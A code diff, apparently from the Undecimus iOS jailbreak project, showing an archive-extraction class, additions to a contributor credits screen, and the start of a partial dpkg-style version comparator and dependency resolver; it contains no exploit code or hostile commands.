if (archive_entry_size(entry) > 0) {
|
||||
rv = archive_read_data_into_fd(a, fd);
|
||||
}
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract:(NSString*)file toPath:(NSString*)path
|
||||
{
|
||||
BOOL result = NO;
|
||||
/* Select which attributes we want to restore. */
|
||||
int flags = DEFAULT_FLAGS;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK &&
|
||||
strcmp(archive_entry_pathname(entry), file.UTF8String) != 0
|
||||
);
|
||||
|
||||
if (rv == ARCHIVE_EOF) {
|
||||
NSLog(@"Archive: no such file \"%@\"", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(a));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (entry && (strcmp(archive_entry_pathname(entry), file.UTF8String) != 0) ) {
|
||||
NSLog(@"Archive: Unable to find entry for %@", file);
|
||||
goto out;
|
||||
}
|
||||
|
||||
archive_entry_set_pathname(entry, path.UTF8String);
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Unable to write header for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %@: %s", path, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: %s", archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
result = YES;
|
||||
out:
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)extract
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath]];
|
||||
}
|
||||
|
||||
-(BOOL)extractWithFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:[[NSFileManager defaultManager] currentDirectoryPath] withFlags:flags];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withOwner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:NO owner:owner andGroup:group];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:DEFAULT_FLAGS overWriteDirectories:overwrite_dirs];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:NO];
|
||||
}
|
||||
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs
|
||||
{
|
||||
return [self extractToPath:path withFlags:flags overWriteDirectories:overwrite_dirs owner:-1 andGroup:-1];
|
||||
}
|
||||
-(BOOL)extractToPath:(NSString*)path withFlags:(int)flags overWriteDirectories:(BOOL)overwrite_dirs owner:(id_t)owner andGroup:(id_t)group
|
||||
{
|
||||
BOOL result = NO;
|
||||
|
||||
int fd = dup(_fd);
|
||||
if (fd == -1) {
|
||||
NSLog(@"Archive: unable to dupe fd");
|
||||
return NO;
|
||||
}
|
||||
|
||||
struct archive *a = archive_read_new();
|
||||
archive_read_support_compression_all(a);
|
||||
archive_read_support_format_all(a);
|
||||
|
||||
if (archive_read_open_fd(a, _fd, 16384) != ARCHIVE_OK) {
|
||||
NSLog(@"Archive: unable to archive_read_open_fd: %s", archive_error_string(a));
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
struct archive *ext = archive_write_disk_new();
|
||||
archive_write_disk_set_options(ext, flags);
|
||||
|
||||
// Seek to entry
|
||||
struct archive_entry *entry = NULL;
|
||||
int rv;
|
||||
|
||||
NSFileManager *fm = [NSFileManager defaultManager];
|
||||
NSString *cwd = [fm currentDirectoryPath];
|
||||
if (![fm changeCurrentDirectoryPath:path]) {
|
||||
NSLog(@"Archive: unable to change cwd to %@", path);
|
||||
goto out;
|
||||
}
|
||||
while ((rv = archive_read_next_header(a, &entry)) == ARCHIVE_OK) {
|
||||
const char *overwrite_temp = NULL;
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", archive_entry_pathname(entry), archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (owner >= 0) {
|
||||
archive_entry_set_uid(entry, owner);
|
||||
}
|
||||
if (group >= 0) {
|
||||
archive_entry_set_gid(entry, group);
|
||||
}
|
||||
[self addEntry:entry];
|
||||
|
||||
NSString *filenameobj = @(archive_entry_pathname(entry));
|
||||
const char *filename = filenameobj.UTF8String;
|
||||
NSLog(@"Processing %s", filename);
|
||||
|
||||
struct stat st;
|
||||
rv = stat(filename, &st);
|
||||
if (rv == 0) {
|
||||
if (!overwrite_dirs) {
|
||||
if (S_ISDIR(st.st_mode)) {
|
||||
// Directory already exists, don't mess with it
|
||||
NSLog(@"Archive: skipping directory: %s", filename);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (S_ISREG(st.st_mode)) {
|
||||
if (isInAMFIStaticCache(filenameobj)) {
|
||||
// --BootLoop
|
||||
NSLog(@"Archive: cowardly refusing to overwrite stock file: %s", filename);
|
||||
continue;
|
||||
}
|
||||
NSLog(@"Archive: Overwriting file %s", filename);
|
||||
overwrite_temp = [[filenameobj stringByAppendingString:@".archive-new"] UTF8String];
|
||||
archive_entry_set_pathname(entry, overwrite_temp);
|
||||
}
|
||||
}
|
||||
rv = archive_write_header(ext, entry);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
}
|
||||
if (archive_entry_size(entry) > 0) {
|
||||
rv = copy_data(a, ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive: Error copying data for %s: %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
rv = archive_write_finish_entry(ext);
|
||||
if (rv < ARCHIVE_OK) {
|
||||
NSLog(@"Archive \"%s\": %s", filename, archive_error_string(ext));
|
||||
if (rv < ARCHIVE_WARN)
|
||||
goto out;
|
||||
}
|
||||
if (overwrite_temp) {
|
||||
NSString *tmpFile = [filenameobj stringByAppendingString:@".archive-tmp"];
|
||||
NSLog(@"renaming out for %s\n", filename);
|
||||
if (rename(filename, tmpFile.UTF8String)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename original file %s", filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"renaming in for %s\n", filename);
|
||||
if (rename(overwrite_temp, filename)) {
|
||||
unlink(overwrite_temp);
|
||||
NSLog(@"Archive: Unable to rename new file %s", filename);
|
||||
rename(tmpFile.UTF8String, filename);
|
||||
goto out;
|
||||
}
|
||||
NSLog(@"unlinking for %s\n", filename);
|
||||
if (unlink(tmpFile.UTF8String)) {
|
||||
NSLog(@"Archive: Unable to remove temp file %s", tmpFile.UTF8String);
|
||||
goto out;
|
||||
}
|
||||
overwrite_temp = NULL;
|
||||
}
|
||||
NSLog(@"%s: OK", filename);
|
||||
}
|
||||
result = YES;
|
||||
_hasReadFiles = YES;
|
||||
out:
|
||||
[fm changeCurrentDirectoryPath:cwd];
|
||||
archive_write_close(ext);
|
||||
archive_write_finish(ext);
|
||||
archive_read_close(a);
|
||||
archive_read_finish(a);
|
||||
close(fd);
|
||||
return result;
|
||||
}
|
||||
|
||||
-(BOOL)contains:(NSString*)file {
|
||||
if (!_hasReadFiles) {
|
||||
[self readContents];
|
||||
}
|
||||
return (_files[file] != nil);
|
||||
}
|
||||
|
||||
-(void)dealloc {
|
||||
close(_fd);
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -3,11 +3,13 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface CreditsTableViewController : UITableViewController
|
||||
|
||||
+ (NSURL *)getURLForUserName:(NSString *)userName;
|
||||
|
||||
@end
|
||||
@@ -3,7 +3,7 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Pwn20wnd on 9/14/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import "CreditsTableViewController.h"
|
||||
@@ -25,8 +25,6 @@
|
||||
[myView setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
|
||||
[myImageView addSubview:myView];
|
||||
[self.tableView setBackgroundView:myImageView];
|
||||
[self.navigationController.navigationBar setBackgroundImage:[UIImage new] forBarMetrics:UIBarMetricsDefault];
|
||||
[self.navigationController.navigationBar setShadowImage:[UIImage new]];
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
@@ -52,8 +50,12 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"i41nbeer"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBazad:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_bazad"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMorpheus:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"morpheus______"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Morpheus______"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnXerub:(id)sender{
|
||||
@@ -76,8 +78,8 @@
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Cryptiiiic"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnXanDesign:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"xanDesign_"] options:@{} completionHandler:nil];
|
||||
-(IBAction)tappedOnXerusDesign:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"xerusdesign"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnAppleDry:(id)sender{
|
||||
@@ -85,7 +87,7 @@
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRob:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Rob_Coleman123"] options:@{} completionHandler:nil];
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"AyyItzRob"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMidnightChip:(id)sender{
|
||||
@@ -107,4 +109,73 @@
|
||||
-(IBAction)tappedOnJakeashacks:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Jakeashacks"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnJonathanSeals:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"JonathanSeals"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSaurik:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUndecimusResources:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus-Resources"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnTihmstar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"tihmstar"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSiguza:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"s1guza"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnS0rryMyBad:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"S0rryMyBad"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnExternalist:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Externalist"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnRealBrightiup:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"realBrightiup"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnNitoTV:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"nitoTV"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMatchstic:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_Matchstic"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnUmanghere:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"umanghere"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnMiscMisty:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"MiscMisty"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnSemaphore:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"notcom"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnPimskeks:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"pimskeks"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnLibimobiledevice:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://github.com/libimobiledevice"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnCoolStar:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"coolstarorg"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
-(IBAction)tappedOnBen:(id)sender{
|
||||
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"benjweaverdev"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// FakeApt.h
|
||||
// This is far from a complete implementation
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef FakeApt_h
|
||||
#define FakeApt_h
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2);
|
||||
NSDictionary *parseDependsOrProvides(NSString *string);
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
|
||||
NSString *versionOfPkg(NSString *pkg);
|
||||
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
|
||||
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps);
|
||||
NSDictionary *getPkgs(void);
|
||||
NSString *debForPkg(NSString *pkg);
|
||||
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
|
||||
|
||||
#endif /* FakeApt_h */
|
||||
@@ -0,0 +1,458 @@
|
||||
//
|
||||
// FakeApt.m
|
||||
// This is far from a complete implementation.
|
||||
//
|
||||
// Created by Sam Bingner on 1/24/19.
|
||||
// Copyright © 2019 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <UIKit/UIKit.h>
|
||||
#import "utils.h"
|
||||
#import "common.h"
|
||||
#import "FakeApt.h"
|
||||
|
||||
static int valueForNonDigit(char nd) {
|
||||
if (nd == '~')
|
||||
return 0;
|
||||
else if (nd == '\0')
|
||||
return 1;
|
||||
else if (nd >= 'A' && nd <= 'Z')
|
||||
return 2 + nd - 'A';
|
||||
else if (nd >= 'a' && nd <= 'z')
|
||||
return 2 + ('Z' - 'A') + nd - 'a';
|
||||
else
|
||||
return 2 + ('Z' - 'A') * 2 + nd;
|
||||
}
|
||||
|
||||
int versioncomp(NSString *v1, NSString *v2) {
|
||||
NSRegularExpression *nonDigitsR = [NSRegularExpression regularExpressionWithPattern:@"^([^\\d]+)" options:0 error:nil];
|
||||
NSRegularExpression *digitsR = [NSRegularExpression regularExpressionWithPattern:@"^([\\d]+)" options:0 error:nil];
|
||||
int result = 0;
|
||||
do {
|
||||
NSTextCheckingResult *nonDigits1 = [nonDigitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *nonDigits2 = [nonDigitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
const char *nd1="", *nd2="";
|
||||
if (nonDigits1) {
|
||||
nd1 = [v1 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v1 = [v1 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
if (nonDigits2) {
|
||||
nd2 = [v2 substringWithRange:nonDigits1.range].UTF8String;
|
||||
v2 = [v2 substringFromIndex:nonDigits1.range.length];
|
||||
}
|
||||
size_t maxLen = MIN(nonDigits1.range.length, nonDigits2.range.length) + 1; // Also compare NULL
|
||||
int compared;
|
||||
for (compared=0; compared < maxLen && *nd1 == *nd2; compared++, nd1++, nd2++);
|
||||
if (compared < maxLen) {
|
||||
int cv1 = valueForNonDigit(*nd1);
|
||||
int cv2 = valueForNonDigit(*nd2);
|
||||
result = cv1 - cv2;
|
||||
}
|
||||
|
||||
if (result == 0) {
|
||||
// Compare digits
|
||||
NSTextCheckingResult *digits1 = [digitsR firstMatchInString:v1 options:0 range:NSMakeRange(0, v1.length)];
|
||||
NSTextCheckingResult *digits2 = [digitsR firstMatchInString:v2 options:0 range:NSMakeRange(0, v2.length)];
|
||||
|
||||
int dv1=0, dv2=0;
|
||||
if (digits1) {
|
||||
dv1 = [[v1 substringWithRange:digits1.range] intValue];
|
||||
v1 = [v1 substringFromIndex:digits1.range.length];
|
||||
}
|
||||
if (digits2) {
|
||||
dv2 = [[v2 substringWithRange:digits2.range] intValue];
|
||||
v2 = [v2 substringFromIndex:digits2.range.length];
|
||||
}
|
||||
result = dv1 - dv2;
|
||||
}
|
||||
} while (result == 0 && (v1.length > 0 || v2.length > 0));
|
||||
return result;
|
||||
}
|
||||
|
||||
NSDictionary *parseDependsOrProvides(NSString *string) {
|
||||
NSRegularExpression *version = [NSRegularExpression regularExpressionWithPattern:@"^\\s*(\\S+)\\s+\\((<<|<=|=|>=|>>)\\s*((?:\\d:|)[A-Za-z0-9\\.\\+\\-\\~]+)\\)" options:0 error:nil];
|
||||
|
||||
NSTextCheckingResult *verMatch = [version firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
|
||||
if (verMatch) {
|
||||
return @{
|
||||
@"name": [string substringWithRange:[verMatch rangeAtIndex:1]],
|
||||
@"op": [string substringWithRange:[verMatch rangeAtIndex:2]],
|
||||
@"ver": [string substringWithRange:[verMatch rangeAtIndex:3]]
|
||||
};
|
||||
}
|
||||
return @{@"name": string};
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult {
|
||||
resError = -1,
|
||||
resNotSatisfied = 0,
|
||||
resSatisfied = 1,
|
||||
resPending = 2
|
||||
};
|
||||
|
||||
static enum dpkgComparisonResult testComp(int compRes, NSString *op, bool last) {
|
||||
static NSDictionary *compDict;
|
||||
static dispatch_once_t onceToken;
|
||||
dispatch_once(&onceToken, ^{
|
||||
compDict = @{
|
||||
@"<<" : @-2,
|
||||
@"<=" : @-1,
|
||||
@"=" : @0,
|
||||
@">=" : @1,
|
||||
@">>" : @2
|
||||
};
|
||||
});
|
||||
NSNumber *compOp = compDict[op];
|
||||
if (!compOp)
|
||||
return resError;
|
||||
|
||||
switch (compOp.intValue) {
|
||||
case -2:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
case -1:
|
||||
if (compRes < 0)
|
||||
return resSatisfied;
|
||||
case 0:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
return resNotSatisfied;
|
||||
break;
|
||||
case 1:
|
||||
if (compRes == 0)
|
||||
return last?resSatisfied:resPending;
|
||||
case 2:
|
||||
if (compRes > 0)
|
||||
return resSatisfied;
|
||||
return last?resNotSatisfied:resPending;
|
||||
break;
|
||||
default:
|
||||
return resError;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result) {
|
||||
if (version1 == nil || op == nil || version2 == nil || result == NULL)
|
||||
return NO;
|
||||
|
||||
NSRegularExpression *mainVersionPartsRegex = [NSRegularExpression regularExpressionWithPattern:
|
||||
@"^(?:(\\d):|)(?:([A-Za-z0-9\\.\\+\\-~]+)-([A-Za-z0-9\\.\\+~]+)|([A-Za-z0-9\\.\\+~]+))$"
|
||||
options:0 error:nil];
|
||||
NSRegularExpression *opRegex = [NSRegularExpression regularExpressionWithPattern:@"^<<|<=|=|>=|>>$" options:0 error:nil];
|
||||
|
||||
if ([opRegex numberOfMatchesInString:op options:0 range:NSMakeRange(0, op.length)] != 1) {
|
||||
LOG("couldn't parse op");
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSTextCheckingResult *mainVersion1Parts = [mainVersionPartsRegex firstMatchInString:version1 options:0 range:NSMakeRange(0, version1.length)];
|
||||
NSTextCheckingResult *mainVersion2Parts = [mainVersionPartsRegex firstMatchInString:version2 options:0 range:NSMakeRange(0, version2.length)];
|
||||
|
||||
if (!mainVersion1Parts || !mainVersion2Parts) {
|
||||
LOG("couldn't parse version %@ or %@", version1, version2);
|
||||
return NO;
|
||||
}
|
||||
|
||||
NSString *epoch1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch1 = @"0";
|
||||
} else {
|
||||
epoch1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:1]];
|
||||
}
|
||||
NSString *epoch2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:1], NSMakeRange(NSNotFound, 0))) {
|
||||
epoch2 = @"0";
|
||||
} else {
|
||||
epoch2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:1]];
|
||||
}
|
||||
|
||||
NSString *upstream1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version1 upstream version: %@", version1);
|
||||
return NO;
|
||||
}
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *upstream2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:2], NSMakeRange(NSNotFound, 0))) {
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:4], NSMakeRange(NSNotFound, 0))) {
|
||||
LOG("Unable to parse version2 upstream version: %@", version2);
|
||||
return NO;
|
||||
}
|
||||
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:4]];
|
||||
} else {
|
||||
upstream2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:2]];
|
||||
}
|
||||
|
||||
NSString *deb1;
|
||||
if (NSEqualRanges([mainVersion1Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb1 = @"0";
|
||||
} else {
|
||||
deb1 = [version1 substringWithRange:[mainVersion1Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
NSString *deb2;
|
||||
if (NSEqualRanges([mainVersion2Parts rangeAtIndex:3], NSMakeRange(NSNotFound, 0))) {
|
||||
deb2 = @"0";
|
||||
} else {
|
||||
deb2 = [version2 substringWithRange:[mainVersion2Parts rangeAtIndex:3]];
|
||||
}
|
||||
|
||||
enum dpkgComparisonResult res = testComp(versioncomp(epoch1, epoch2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(upstream1, upstream2), op, false);
|
||||
if (res == resPending)
|
||||
res = testComp(versioncomp(deb1, deb2), op, true);
|
||||
|
||||
*result = res == resSatisfied;
|
||||
return YES;
|
||||
}
|
||||
|
||||
NSArray *getDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Depends"];
|
||||
}
|
||||
|
||||
NSArray *getPreDepsForPkg(NSString *pkg) {
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
return pkgs[pkg][@"Pre-Depends"];
|
||||
}
|
||||
|
||||
NSArray *allDepsForPkg(NSString *pkg) {
|
||||
NSArray *deps = getDepsForPkg(pkg);
|
||||
NSArray *predeps = getPreDepsForPkg(pkg);
|
||||
if (deps) {
|
||||
return [deps arrayByAddingObjectsFromArray:predeps];
|
||||
}
|
||||
return predeps;
|
||||
}
|
||||
|
||||
NSArray *resolveDepsForPkgWithQueue(NSString *pkg, NSMutableArray *queue, BOOL preDeps) {
|
||||
if (pkg == nil) {
|
||||
LOG("I can't resolve deps for no pkg. WTF.");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSArray *deps = preDeps?allDepsForPkg(pkg):getDepsForPkg(pkg);
|
||||
NSDictionary *pkgs = getPkgs();
|
||||
|
||||
if (queue == nil) {
|
||||
queue = [NSMutableArray new];
|
||||
}
|
||||
|
||||
NSRegularExpression *or = [NSRegularExpression regularExpressionWithPattern:@"\\s*([^\\|]+)\\s*\\|?" options:0 error:nil];
|
||||
for (NSString *dep in deps) {
|
||||
BOOL __block resolved = NO;
|
||||
[or enumerateMatchesInString:dep options:0 range:NSMakeRange(0, dep.length) usingBlock:^(NSTextCheckingResult * _Nullable result, NSMatchingFlags flags, BOOL * _Nonnull stop) {
|
||||
NSString *match = [dep substringWithRange:[result rangeAtIndex:1]];
|
||||
NSDictionary *ver = parseDependsOrProvides(match);
|
||||
// LOG("Match: %@ op: %@ ver: %@", ver[@"name"], ver[@"op"], ver[@"ver"]);
|
||||
match = ver[@"name"];
|
||||
if (pkgs[match] != nil) {
|
||||
if (ver[@"op"]) {
|
||||
compareDpkgVersion(pkgs[match][@"Version"], ver[@"op"], ver[@"ver"], &resolved);
|
||||
} else {
|
||||
resolved = YES;
|
||||
}
|
||||
if (resolved && ![queue containsObject:match]) {
|
||||
[queue addObject:match];
|
||||
if (resolveDepsForPkgWithQueue(match, queue, preDeps) == nil) {
|
||||
LOG("Unmarking %@ as resolved because deps could not be satisified", match);
|
||||
resolved = NO;
|
||||
[queue removeObject:match];
|
||||
} else {
|
||||
// Move to the end of the queue so deps are installed first
|
||||
[queue removeObject:match];
|
||||
[queue addObject:match];
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!resolved) {
|
||||
// LOG("Unable to resolve dep: %@ for %@ - trying provides", dep, pkg);
|
||||
for (NSString *pkg in pkgs.allKeys) {
|
||||
for (NSString *provide in pkgs[pkg][@"Provides"]) {
|
||||
